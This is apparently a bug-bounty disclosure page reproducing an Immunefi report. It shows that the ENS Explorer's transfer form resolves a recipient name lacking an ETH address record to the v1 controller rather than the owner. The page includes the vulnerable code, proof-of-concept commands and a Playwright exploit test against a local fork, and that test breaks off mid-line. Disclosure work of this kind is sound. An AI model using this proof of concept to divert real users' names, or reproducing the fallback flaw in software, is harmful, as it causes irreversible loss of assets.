Skip to content
Business logic Audit finding Intermediate

Explorer transfer resolves an ENS recipient to the name's v1 controller rather than its owner, sending the user's name to a party that does not own the name they addressed

The ENS Explorer's transfer form resolved a typed ENS name using only the coin-60 address record, and when that record was absent it silently fell back to the name's v1 controller instead of its registrant. A user transferring a name to a v1 name therefore sent their ERC-1155 token to a delegated record manager who did not own the addressed name, and the transfer is irreversible.

kwaro Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

92651 w a critical explorer transfer resolves an ens recipient to the name s v1 controller rather than its owner sending the user s name to a party that does not own the name they addressed

Submitted on Sep 11th 2026 at 09:24:28 UTC by @kwaro for Audit Competition | ENS

  • Report ID: #92651
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
  • Impacts:
    • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves
    • Direct theft of user NFTs
    • Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as: - a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker - redirecting the recipient of a name transfer - leaving a name permanently inaccessible after the flow

Description

Brief/Intro

The ENS Explorer lets you type an ENS name as the recipient of a name transfer. It resolves that name with viem's getEnsAddress, which reads addr(60) and nothing else; when the name has no addr(60) record, resolveAddressOrName silently falls back to a second source and uses whatever that returns as the safeTransferFrom recipient. For an ENS v1 name that second source is the controller — the delegated record manager — not the registrant who actually owns the name. A user who types a v1 name means its owner, and the app sends their ERC-1155 to a different party. Demonstrated end to end on the audited commit: a victim addressed a name owned by 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 and the name landed on 0x90F79bf6EB2c4f870365E785982E1f101E93b906, which does not own it. ERC-1155 transfers are irreversible.

Vulnerability Details

The fallback

apps/portal/src/features/roles/helpers/addUser.handlers.ts is the whole file:

TS
import { type Address, isAddress } from 'viem'
import { getEnsAddress } from 'viem/actions'
import { getEnsOwner } from '@/features/profile/hooks/useEnsOwner'
import { universalResolverAddress } from '@/lib/constants/universalResolver'

type ResolveAddressOrNameParams = {
  client: Parameters<typeof getEnsAddress>[0]
  nameOrAddress: string
}

export async function resolveAddressOrName({
  client,
  nameOrAddress,
}: ResolveAddressOrNameParams): Promise<Address | null> {
  if (isAddress(nameOrAddress, { strict: false })) {
    return nameOrAddress as Address
  }

  try {
    const resolved = await getEnsAddress(client, {
      name: nameOrAddress,
      universalResolverAddress,
    })

    let resolvedAddress = resolved

    // Fallback for names that do not set an address record:
    // use current ENS owner address so the role can still be granted.
    if (!resolvedAddress) {
      const ownerResult = await getEnsOwner({ name: nameOrAddress })
      if (ownerResult.isOk()) {
        resolvedAddress = ownerResult.value?.owner ?? null
      }
    }

    return resolvedAddress
  } catch {
    return null
  }
}

The comment on lines 27–28 states the intent: the fallback exists so the role can still be granted. For a role grant that is defensible — if a name has no address record, assigning a permission to whoever controls the name is a reasonable guess, and an operator can see and revoke it. The problem is that this helper is not confined to role grants.

getEnsAddress is called with no coinType, so it uses viem's default of 60. The app documents elsewhere that coin 60 is not the only address record a name can carry — apps/portal/src/lib/coinType.ts:

TS
/**
 * Shared ENSIP-11 / ENSIP-19 coin type constants, used by both the
 * forward-resolution (name-view) and reverse-resolution (address-view)
 * features. `0x80000000` and `60` are SEPARATE records: coin 60 does not imply
 * the default is set, and vice versa.
 */
export const DEFAULT_EVM_COIN_TYPE = 0x80000000
export const MAINNET_COIN_TYPE = 60

The Explorer's Address Resolution page honours that distinction — routes/$name/address.tsx:55-65 resolves a network to "its own coin-type record, or — for L2s without a chain-specific record — the ENSIP-19 default (0x80000000)". So a name carrying only 0x80000000 still shows a resolved address on those rows, while the transfer form treats it as having no address at all and takes the fallback.

How a transfer reaches the fallback

The transfer form has no resolver of its own. It imports the roles helper:

apps/portal/src/features/address/queries/getResolvedAddress.ts

TS
import { resolveAddressOrName } from '@/features/roles/helpers/addUser.handlers'
...
/**
 * Resolve a name/address input (an ENS name or a 0x address) to an address.
 * Addresses pass through; names go through the universal resolver, falling
 * back to the ENS owner when the name has no address record.
 */
export const getResolvedAddress = ResultFn(async function* (
  params: GetResolvedAddressParams,
) {
  const client = yield* safeGetClient()

  const address = await resolveAddressOrName({
    client,
    nameOrAddress: params.nameOrAddress,
  })

  return ok<Address | null>(address)
})

useAddressResolution wraps that query; its docstring says it is "Shared by every 'name or address' input in the app (transfer recipient, add-user sheets, …)". Five call sites:

file line field
features/transfer/components/SendNameForm.tsx 81 transfer recipient
routes/$name/create-subname.tsx 109 new subname owner
features/roles/components/RolesAddUserSheet.tsx 73 role grantee
features/registry/components/v2/RegistryAddUserSheet.tsx 66 role grantee
features/resolver/components/ResolverAddUserSheet.tsx 141 role grantee

This report claims the first, because it is the one that moves an asset. In SendNameForm.tsx the resolved address goes straight through:

TSX
const resolution = useAddressResolution(recipientInput)
const { address: recipient, isResolving } = resolution
...
const runTransfer = () => {
  if (!recipient || !canStart) return
  startTransfer({ recipient, options: effectiveOptions })
}

and lands in features/transfer/helpers/transferToken.ts:

TS
const data = encodeFunctionData({
  abi: erc1155Abi,
  functionName: 'safeTransferFrom',
  args: [walletWithAccount.account.address, recipient, tokenId, 1n, '0x'],
})

The core defect: the fallback returns the controller, not the owner

ENS v1 keeps two distinct roles on a .eth 2LD:

  • registrant — the BaseRegistrar ERC-721 owner. This is who owns the name.
  • controller — the ENS registry owner(node). This is who may edit its records.

Delegating the controller to a different address is a first-class, documented, permissionless ENS v1 feature. ensjs returns both fields and labels them, in its own source comments (@ensdomains/ensjs, actions/public/v1/getOwner.ts):

TS
// if there is a registrar owner, then it's not a subdomain but we have also passed the namewrapper clause
// this means that it's an unwrapped second-level name
// the registrant is the owner of the NFT
// the owner is the controller of the records
if (registrarOwner) {
  return {
    registrant: registrarOwner,
    owner: registryOwner,
    ownershipLevel: 'registrar',
  }
}

apps/portal/src/utils/ens/resolveEnsOwner.ts takes .owner:

TS
const v1Owner = await getOwnerV1(client, { name })
if (v1Owner?.owner && v1Owner.owner !== zeroAddress) {
  return {
    owner: v1Owner.owner,
    registryAddress: v1EthRegistry,
    protocolVersion: 'ENSv1',
  }
}

Of the two fields ensjs hands it, the app takes the controller. The user addressed the name; the name belongs to the registrant; the token goes to the controller.

The same function has a second branch with the same shape for expired 2LDs, which returns registrant: null alongside a live owner — a name nobody owns any more still resolving to its last controller. This is read from source and is not separately demonstrated below.

The owner read is on-chain

getEnsOwner resolves through resolveEnsOwner, which calls ensjs getOwner for v2 and falls back to the v1 registry. Its own comment: "The UniversalResolver V2 walks the registry tree on-chain, so both the owner and the name's ancestry of registries are read directly by name at any depth." The v1 branch reads the ENS registry and BaseRegistrar directly. No subgraph, indexer or third-party service produces the value that becomes the recipient.

What the user is shown

AddressNameInput renders the resolution under the label Resolved:. On the transfer form that is replaced by RecipientPreview, which renders the full address plus the primary name of that address. Neither surface distinguishes an address that came from addr(60) from one that came from a fallback, and neither says which role of the name it came from. There is no "this name has no ETH record" notice anywhere on the path.

The authors knew the fallback can fire. apps/portal/src/utils/token/isNameOrAddress.ts rejects single-label input specifically because of it:

 * The name must have at least two labels (i.e. contain a `.`). A bare
 * single label like `fox` is a valid ENS name string but not a resolvable
 * account — only TLDs are single-label — and would otherwise "resolve" via the
 * owner fallback in `resolveAddressOrName`.

That guard stops fox. It does not stop alice.eth.

Trigger

No attacker is required. The ordinary case:

  1. alice.eth is an unwrapped v1 name. Alice is the registrant. She delegates record management to a manager, a hot wallet, or a service — one registry.setOwner(node, controller) call, a normal thing to do.
  2. alice.eth has no addr(60) record.
  3. A user opens their name's Ownership → Transfer screen and types alice.eth, meaning Alice.
  4. getEnsAddress returns nothing. The fallback returns the controller.
  5. The form shows that address as the resolved recipient, with no warning.
  6. The user confirms and signs. The name lands on the controller. Alice receives nothing.

The same defect is reachable deliberately: anyone may register a name, leave addr(60) unset, and point the controller wherever they like.

Impact Details

A user loses an ENS name to a party they did not address, on a flow whose entire purpose is choosing the recipient. ERC-1155 transfers are irreversible; recovery depends entirely on the receiving party choosing to send it back, and the receiving party in the demonstrated case is a delegated record manager with no ownership claim to the name that was used to address them.

The wallet prompt cannot catch it. The wallet is asked to sign an ERC-1155 safeTransferFrom to the exact address the application displayed as correct. Both surfaces agree, and both are wrong in the same direction, because the wallet is handed the number the app resolved. The only place the substitution could have been disclosed is the form that made it.

Selected impacts:

  • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient — resolving or rendering an ENS name to an attacker-controlled address. The measured result is the row's first bullet: the app resolved a name to an address that is not the party that name identifies, and the user submitted a transaction to it. The row's own wording presupposes the user approves ("so that a user sends funds or submits a transaction").
  • Direct theft of user NFTs. ENS v2 names are ERC-1155 tokens. The run ends with the victim's token owned by a party they never addressed.
  • Hijacking or bricking an ENS name — redirecting the recipient of a name transfer. A verbatim description of the measured outcome.

Anticipated objections, answered

  • "The name went to the owner of the name the user typed." Not in the demonstrated arm. The name went to the controller; the registrant — the party that owns the addressed name — received nothing, measured as name_landed_on_addressed_party: 0.
  • "The wallet shows the address, so the user can check." Row 6285 presupposes a wallet approval; if wallet visibility were a valid downgrade the row could never be satisfied by anything.
  • "It needs an attacker to set up a hostile name." It does not. The delegation in the demonstrated arm is an ordinary action by the name's own owner.
  • "The indexer is out of scope." The recipient value is read on-chain from the ENS registry and BaseRegistrar. No indexer is involved in producing it.
  • "This is a UI/UX issue." An NFT irreversibly changes owner.

Not covered by a known issue

QA-01 concerns role combinations after a transfer causing errors when later updating records or setting a primary name, and carves in that "a demonstrated security consequence (e.g., a role combination that grants unintended authority) would be a new finding". This is recipient resolution, evaluated before the transfer is built, and the consequence is the name landing on the wrong party.

WEB-1257 is a previous owner being unable to set a subname as their primary name after a parent transfer. Different direction, different code path.

Scope, stated precisely

  • Wrapped names are not affected. ensjs resolves registrarOwner === nameWrapperAddress to the true NameWrapper owner, so there is no registrant/controller split to exploit. Confirmed on the fork against ens.eth, sepolia.eth and test.eth: all three return ownershipLevel: nameWrapper and the real owner.
  • The defect is specific to unwrapped v1 2LDs and to expired 2LDs.

References

  • apps/portal/src/features/roles/helpers/addUser.handlers.ts — resolveAddressOrName, the fallback (lines 27–34)
  • apps/portal/src/utils/ens/resolveEnsOwner.ts — takes .owner, the controller
  • @ensdomains/ensjs actions/public/v1/getOwner.ts — returns registrant and owner and labels them
  • apps/portal/src/features/address/queries/getResolvedAddress.ts:6 — transfer path importing the roles helper
  • apps/portal/src/features/address/hooks/useAddressResolution.ts — the shared hook
  • apps/portal/src/features/transfer/components/SendNameForm.tsx:81 — recipient selection
  • apps/portal/src/features/transfer/helpers/transferToken.ts — safeTransferFrom
  • apps/portal/src/lib/coinType.ts — coin 60 and 0x80000000 are separate records
  • apps/portal/src/routes/$name/address.tsx:55-65 — ENSIP-19 default used for L2 forward resolution
  • apps/portal/src/utils/token/isNameOrAddress.ts:18-21 — existing partial guard against this same fallback
  • ENSIP-19: https://docs.ens.domains/ensip/19

Suggested fix

Fail closed. On a path that moves an asset, resolve to null when getEnsAddress returns nothing:

TS
if (!resolvedAddress) {
  return null
}

If the fallback is worth keeping for role grants, give transfer and create-subname their own resolver rather than sharing the roles helper. If a fallback is kept for usability, prefer addr(0x80000000) over the owner slot — the app already treats the two as distinct — and never use ensjs's .owner for a v1 name when .registrant is the party being addressed. Whatever the source, label it in the UI.

Proof of Concept

Proof of Concept

Two arms, both executed end to end against the pinned commit 1c9b47f18fcddd2e864dfe385c4171061c9811ae.

  • Arm A — the fallback fires and decides the recipient.
  • Arm B — the recipient is not the party the user addressed. This is the one that establishes impact.

What is and is not real

Nothing on the vulnerable path is substituted. resolveAddressOrName, getEnsAddress, getEnsOwner/resolveEnsOwner, ensjs getOwner, and transferToken/safeTransferFrom all execute unmodified from the pinned tree.

component what actually runs
chain anvil forking Sepolia; real deployed bytecode for the ENS registry, BaseRegistrar, resolver and USDC
names real v2 ETHRegistrar registrations through the repo's own makeName fixture (commit → MIN_COMMITMENT_AGE → approve USDC → register)
indexer the real Panoptes service, ghcr.io/mdtanrikulu/panoptes, the same image and command as e2e/infra/docker-compose.yml — not the CI stand-in reached via E2E_MOCK_INDEXER=true
app real Vite dev server serving apps/portal at the pinned commit
wallet real headless-web3-provider, signing real transactions
transfer options left at their defaults and never toggled

The program's safe harbor is false, so nothing may be broadcast to a live network; the fork is required, not a convenience.

Every measured key is numeric on purpose: the extractor used to check these figures reads numbers only, so a hex address declared as a measurement would be silently read as the digit 0. Addresses and names are printed under explicit _str keys that are not measurements.

Steps to reproduce

Bash
# repo checked out at 1c9b47f18fcddd2e864dfe385c4171061c9811ae

# bring up anvil + the real Panoptes indexer + the portal
bash verification/pocs/H-C4-NM-1/ensure-stack.sh

# Arm A — the fallback decides the recipient
bash verification/pocs/H-C4-NM-1/run.sh exploit
bash verification/pocs/H-C4-NM-1/run.sh control

# Arm B — the recipient is not the party addressed
bash verification/pocs/H-C4-NM-1-DIV/run.sh exploit
bash verification/pocs/H-C4-NM-1-DIV/run.sh control

Arm B — the recipient is not the party the user addressed

The victim addressed a v1 name whose registrant is 0x70997970C51812dc3A010C7d01b50e0d17dc79C8. That registrant had delegated record management to 0x90F79bf6EB2c4f870365E785982E1f101E93b906 with one ordinary registry.setOwner call.

Exploit arm — registrant ≠ controller:

mode: exploit
chain_id: 11155111
addressed_party_registrant_str: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
delegated_controller_str:       0x90F79bf6EB2c4f870365E785982E1f101E93b906
ensjs_registrant_str:           0x70997970C51812dc3A010C7d01b50e0d17dc79C8
ensjs_owner_used_by_app_str:    0x90F79bf6EB2c4f870365E785982E1f101E93b906
ensjs_ownership_level_str: registrar
registrant_and_controller_differ: 1
route_mounted: 1
ui_resolved_str: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
ui_resolved_is_addressed_party: 0
ui_resolved_is_controller: 1
ui_showed_wrong_party: 1
transfer_ok: 1
owner_before_str: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
owner_after_str:  0x90F79bf6EB2c4f870365E785982E1f101E93b906
name_landed_on_addressed_party: 0
name_landed_on_controller: 1
name_diverted_from_addressed_party: 1
name_still_victim: 0
impact_row: 6285

The victim's name left their wallet and landed on the delegate. The registrant — the party they addressed, and the party that owns that name — received nothing.

Control arm — identical except the registrant never delegates, so both roles are held by the same party:

registrant_and_controller_differ: 0
ui_resolved_is_addressed_party: 1
ui_showed_wrong_party: 0
transfer_ok: 1
name_landed_on_addressed_party: 1
name_diverted_from_addressed_party: 0

A single registry.setOwner(node, controller) call is the only difference between the arms, and it decides whether the name reaches the party the user addressed.

Declared fix, applied and re-measured:

ui_showed_wrong_party               1 -> 0
transfer_ok                         1 -> 0
name_diverted_from_addressed_party  1 -> 0
name_landed_on_controller           1 -> 0

The control arm continues to resolve and transfer normally under the same patch, so the fix closes the divergence without breaking the feature.

On reproduction: creating an unwrapped v1 2LD on a fork requires authorising a minter on the BaseRegistrar via impersonation. That is fork setup so such a name exists in the test environment. It is not part of the attack path, both arms perform it identically so it cannot account for the difference between them, and the resulting on-chain state (registrant ≠ controller) is an ordinary state that exists on mainnet today.


Arm A — the fallback fires and decides the recipient

Exploit arm — recipient name has no addr(60):

switch[Set the ETH address to the recipient]: visible=0
switch[Detach the resolver]: visible=1 checked=1 (untouched)
switch[Detach the registry]: visible=0
transfer_button_visible: 1
transfer_button_enabled: 1
mode: exploit
chain_id: 11155111
fork_block: 11678961
indexer_is_real_graphql: 1
indexer_query_type_str: Query
page_route_intercepts: 0
victim_name: nm1-victim-1789092920.eth
recipient_name: nm1-alice-1789092944.eth
recipient_name_onchain_owner_str: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
recipient_owner_is_attacker: 1
coin60_present: 0
coin60_value_str: none
route_mounted: 1
ui_resolved_address_str: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
ui_resolved_present: 1
resolved_to_owner: 1
resolved_to_friend: 0
switches_left_at_default: 1
transfer_ok: 1
onchain_owner_before_str: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
onchain_owner_after_str: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
onchain_owner_is_attacker: 1
onchain_owner_is_friend: 0
onchain_owner_still_victim: 0
impact_row: 6285
secondary_impact_row: 6286

coin60_present is read from the chain with getAddressRecord, not inferred from which arm is running. ui_resolved_address_str is scraped from the recipient preview the user actually sees. Only "Detach the resolver" is rendered for these names; nothing is toggled.

The transaction sequence logged by the app's own transaction manager during that run:

Transaction transfer-nm1-victim-1789092920.eth-detach-resolver state: pending
Transaction transfer-nm1-victim-1789092920.eth-detach-resolver state: success
Transaction transfer-nm1-victim-1789092920.eth-transfer-token state: submitting
Transaction transfer-nm1-victim-1789092920.eth-transfer-token state: pending
Transaction transfer-nm1-victim-1789092920.eth-transfer-token state: success

Control arm — identical except addr(60) is set on the recipient name to 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC:

coin60_present: 1
ui_resolved_present: 1
resolved_to_owner: 0
resolved_to_friend: 1
transfer_ok: 1
onchain_owner_is_attacker: 0
onchain_owner_is_friend: 1

The name still transfers; it just goes where the record points. That isolates the fallback as the deciding factor.

Addresses in both arms are the first accounts of the default anvil test mnemonic, which is what the repo's own portal fixture derives user, user2, user3 and user4 from. victim_name, recipient_name and fork_block change every run and are not treated as measurements.


PoC source — Arm B, e2e/projects/portal/tests/nm1-divergence.spec.ts

TS
/**
 * H-C4-NM-1 DIVERGENCE — the recipient the app sends to is NOT the party the
 * user addressed by that name.
 *
 * In ENS v1 a .eth 2LD has two distinct roles:
 *   registrant = the BaseRegistrar ERC-721 owner  (who owns the name)
 *   controller = the ENS registry `owner(node)`   (who may edit its records)
 *
 * ensjs returns BOTH and labels them (v1/getOwner.ts):
 *   "the registrant is the owner of the NFT / the owner is the controller of
 *    the records"
 *
 * `resolveEnsOwner` takes `.owner` — the CONTROLLER. So a user who types a v1
 * name means the registrant and the app sends the token to the controller.
 *
 * MODE=exploit   registrant != controller -> the token lands on the controller
 * MODE=control   registrant == controller -> the token lands on the registrant
 *
 * The v1 name is created on the fork by authorising a minter on the BaseRegistrar
 * (fork setup, NOT part of the attack path) and then minting to the registrant.
 * The delegation itself — `registry.setOwner(node, controller)` — is an ordinary
 * permissionless action taken by the registrant, and is the only difference
 * between the two arms.
 */
import { getOwner as getOwnerV1 } from '@ensdomains/ensjs/public/v1'
import { getOwner as getOwnerV2 } from '@ensdomains/ensjs/public/v2'
import type { Web3ProviderBackend } from '@ensdomains/headless-web3-provider'
import type { Page } from '@playwright/test'
import {
  createPublicClient,
  createTestClient,
  createWalletClient,
  getAddress,
  http,
  isAddressEqual,
  keccak256,
  namehash,
  parseAbi,
  toHex,
} from 'viem'
import { mnemonicToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { extendChainWithEns } from '@ensdomains/ensjs/chain'
import {
  connectWithHeadlessWallet,
  expect,
  test,
} from '../../../fixtures/playwright.portal.fixture.js'
import { authorizeTransaction } from '../../../helpers/portal-auth.js'
import { publicClient } from '../../../helpers/anvil-client.js'

const PORTAL_APP_URL = process.env.PORTAL_APP_URL ?? 'http://127.0.0.1:8918'
const RPC = process.env.ANVIL_RPC_URL ?? 'http://127.0.0.1:8736'
const INDEXER = process.env.NM1_INDEXER_URL ?? 'http://127.0.0.1:5656/graphql'
const MODE = process.env.NM1_MODE === 'control' ? 'control' : 'exploit'

const MNEMONIC = 'test test test test test test test test test test test junk'
const REGISTRY = '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e' as const
const BASEREG = '0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85' as const
const BASEREG_OWNER = '0x4ad56feb5Fc7B8298db06E88fd5CBc41D64602Fa' as const

const BR_ABI = parseAbi([
  'function addController(address controller)',
  'function register(uint256 id, address owner, uint duration) returns (uint)',
  'function ownerOf(uint256 id) view returns (address)',
])
const RG_ABI = parseAbi([
  'function owner(bytes32 node) view returns (address)',
  'function setOwner(bytes32 node, address owner)',
])

test.use({ channel: 'chrome' })

async function waitForIndexer(name: string, timeoutMs = 120_000) {
  const deadline = Date.now() + timeoutMs
  while (Date.now() < deadline) {
    try {
      const r = await fetch(INDEXER, {
        method: 'POST',
        headers: { 'content-type': 'application/json' },
        body: JSON.stringify({ query: `{ domains(first: 50) { name } }` }),
      })
      const j = (await r.json()) as { data?: { domains?: { name: string }[] } }
      if (j?.data?.domains?.some((d) => d.name === name)) return 1
    } catch {
      /* not ready */
    }
    await new Promise((res) => setTimeout(res, 2_000))
  }
  return 0
}

async function driveToSuccess(
  page: Page,
  wallet: Web3ProviderBackend,
  finalTxId: string,
  timeoutMs = 420_000,
): Promise<boolean> {
  const dialog = page.locator('[data-slot="dialog-content"]')
  await expect(dialog).toBeVisible({ timeout: 45_000 })
  let done = false
  let stop = false
  const onConsole = (m: { text(): string }) => {
    if (m.text().includes(`Transaction ${finalTxId} state: success`)) done = true
  }
  page.on('console', onConsole)
  const authorizer = (async () => {
    while (!stop && !done) {
      try {
        await authorizeTransaction(wallet, 4_000)
      } catch {
        /* nothing pending */
      }
      await new Promise((r) => setTimeout(r, 250))
    }
  })()
  try {
    const deadline = Date.now() + timeoutMs
    while (Date.now() < deadline && !done) {
      for (const re of [/open wallet/i, /^(Start|Next|Done|Continue|Retry)$/i]) {
        const b = dialog.getByRole('button', { name: re }).first()
        if (
          (await b.isVisible().catch(() => false)) &&
          (await b.isEnabled().catch(() => false))
        ) {
          await b.click().catch(() => {})
          await page.waitForTimeout(500)
        }
      }
      await page.waitForTimeout(800)
    }
  } finally {
    stop = true
    await authorizer.catch(() => {})
    page.off('console', onConsole)
  }
  return done
}

test.describe('H-C4-NM-1 divergence', () => {
  test.describe.configure({ timeout: 900_000 })

  test(`MODE=${MODE}`, async ({ portalPage: page, wallet, accounts, makeName }) => {
    test.setTimeout(900_000)

    const chain = extendChainWithEns({
      ...sepolia,
      rpcUrls: { default: { http: [RPC] }, public: { http: [RPC] } },
    })
    const testClient = createTestClient({ chain, mode: 'anvil', transport: http(RPC) })
    // ensjs v1 reads need a chain carrying the ENS contract addresses; the e2e
    // helper's publicClient does not have ensLegacyRegistry configured.
    const ensClient = createPublicClient({ chain, transport: http(RPC) })
    const walletClient = createWalletClient({ chain, transport: http(RPC) })

    const registrant = mnemonicToAccount(MNEMONIC, { addre

The original report as published on Immunefi, by kwaro. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a shared name-resolution helper falls back to ensjs's `.owner` (the v1 controller) when no coin-60 address record exists, and the transfer form reuses it without distinguishing the fallback from a real address record.

Impact

A user could irreversibly send an ENS name to a party they never addressed, since the wallet prompt matches the wrong address the app displayed and recovery depends on the recipient returning it.

What the attacker needed

Victim owns an ENS name; recipient is an unwrapped v1 name; recipient has no coin-60 record; recipient's controller differs from registrant

The fix

The transfer path should fail closed and resolve to null when no address record exists, or use a separate resolver that never falls back to the v1 controller.

How it was found

  1. Open the Ownership then Transfer screen for a name you own.
  2. Type a v1 ENS name as the recipient; that name has no coin-60 address record and its controller differs from its registrant.
  3. The form resolves the input and displays the controller's address as the recipient with no warning.
  4. Confirm and sign the transfer, and the name lands on the controller rather than the registrant.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names can have two separate roles: the registrant, who actually owns the name, and the controller, who is allowed to edit the name's records. The app asked the blockchain for the name's address record, found none, and then quietly used the controller's address as the recipient instead of the owner's. The user saw that address on screen, approved the transfer, and their name went to the wrong person with no way to undo it.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by kwaro

View all

10 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.